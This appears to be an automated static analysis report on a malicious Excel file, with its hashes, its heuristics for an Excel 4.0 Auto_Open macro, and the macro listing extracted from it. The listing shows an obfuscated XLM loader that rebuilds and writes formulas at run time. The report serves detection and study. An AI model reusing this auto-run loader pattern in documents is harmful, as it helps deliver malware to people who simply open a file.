Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 b596307e765e60a0…

MALICIOUS

Office (OLE)

35.5 KB Created: 2020-11-25 10:30:27 Authoring application: Microsoft Excel First seen: 2021-04-01
MD5: 9006fdcf79b9b45147003737da429c68 SHA-1: 002348087d2085ad7fef28e8f0ce7eb7607bdb47 SHA-256: b596307e765e60a0b7f9c6a468253ff2b35d16d71905da9498cb69a5301325ab
140 Risk Score

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6509 bytes
SHA-256: 10f956f61832f5a3909b52025a137cef8778fcbd5a3d1c20f324f917fe66c22d
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     16 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  vnJFYPv
' 0018     26 LABEL : Cell Value, String Constant - aPUnEMfDqPY len=0 
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!A172 
' 0018     20 LABEL : Cell Value, String Constant - cmDvS len=0 
' 0018     23 LABEL : Cell Value, String Constant - EKSwxkgk len=0 
' 0018     23 LABEL : Cell Value, String Constant - fyJbaUiX len=0 
' 0018     26 LABEL : Cell Value, String Constant - gSIrHcpdGAn len=0 
' 0018     26 LABEL : Cell Value, String Constant - JcSUCNgGtCV len=0 
' 0018     25 LABEL : Cell Value, String Constant - LqHWfhYHeC len=0 
' 0018     20 LABEL : Cell Value, String Constant - pWbRu len=0 
' 0018     25 LABEL : Cell Value, String Constant - QTXMwNYOXh len=0 
' 0018     27 LABEL : Cell Value, String Constant - QVrTTGxgJfQS len=0 
' 0018     20 LABEL : Cell Value, String Constant - sOHlV len=0 
' 0018     26 LABEL : Cell Value, String Constant - SxktCyjMIoY len=0 
' 0018     25 LABEL : Cell Value, String Constant - TlqhCCOAjO len=0 
' 0018     26 LABEL : Cell Value, String Constant - TSuxsNEYiNy len=0 
' 0018     20 LABEL : Cell Value, String Constant - tUKGN len=0 
' 0018     21 LABEL : Cell Value, String Constant - wBxfAY len=0 
' 0018     25 LABEL : Cell Value, String Constant - ZeESxEhpfr len=0 
' 0018     24 LABEL : Cell Value, String Constant - zLDKHVAxn len=0 
' 0018     22 LABEL : Cell Value, String Constant - zOZKdMn len=0 
' 0018     21 LABEL : Cell Value, String Constant - ZuBnof len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  vnJFYPv,A85,"SET.NAME("zLDKHVAxn",VALUE("0"))",""
'  vnJFYPv,A88,"SET.NAME("JcSUCNgGtCV",zLDKHVAxn)",""
'  vnJFYPv,A90,"SET.NAME("pWbRu",zLDKHVAxn)",""
'  vnJFYPv,A94,"SET.NAME("EKSwxkgk",COUNTA(sOHlV))",""
'  vnJFYPv,A97,"SET.NAME("zOZKdMn",COUNTA(wBxfAY))",""
'  vnJFYPv,A101,[],""
'  vnJFYPv,A106,"SET.NAME("SxktCyjMIoY","")",""
'  vnJFYPv,A110,"JcSUCNgGtCV",""
'  vnJFYPv,A114,"SET.NAME("LqHWfhYHeC",HLOOKUP("*",sOHlV,JcSUCNgGtCV,FALSE))",""
'  vnJFYPv,A117,"QVrTTGxgJfQS",""
'  vnJFYPv,A119,"SET.NAME("cmDvS",zLDKHVAxn)",""
'  vnJFYPv,A122,[],""
'  vnJFYPv,A125,"cmDvS",""
'  vnJFYPv,A130,"TSuxsNEYiNy",""
'  vnJFYPv,A133,"ZeESxEhpfr",""
'  vnJFYPv,A135,"aPUnEMfDqPY",""
'  vnJFYPv,A138,"SET.NAME("QTXMwNYOXh",VALUE(HLOOKUP("*",wBxfAY,aPUnEMfDqPY,FALSE)))",""
'  vnJFYPv,A142,"tUKGN",""
'  vnJFYPv,A146,"SxktCyjMIoY",""
'  vnJFYPv,A151,"pWbRu",""
'  vnJFYPv,A153,NEXT(),""
'  vnJFYPv,A155,"fyJbaUiX",""
'  vnJFYPv,A159,"SET.NAME("f",INT(T(FORMULA(T(SxktCyjMIoY)&"",""&T(fyJbaUiX)))))",""
'  vnJFYPv,A162,"gSIrHcpdGAn",""
'  vnJFYPv,A166,NEXT(),""
'  vnJFYPv,A169,RETURN(),""
'  vnJFYPv,A196,"SET.NAME("ZuBnof",A85)",""
'  vnJFYPv,A199,"sOHlV",""
'  vnJFYPv,A204,"SET.NAME("wBxfAY",R83C12)",""
'  vnJFYPv,A206,"SET.NAME("gSIrHcpdGAn",214)",""
'  vnJFYPv,A211,"SET.NAME("TlqhCCOAjO",1)",""
'  vnJFYPv,A213,ZuBnof(),""
'  vnJFYPv,A214,HALT(),""

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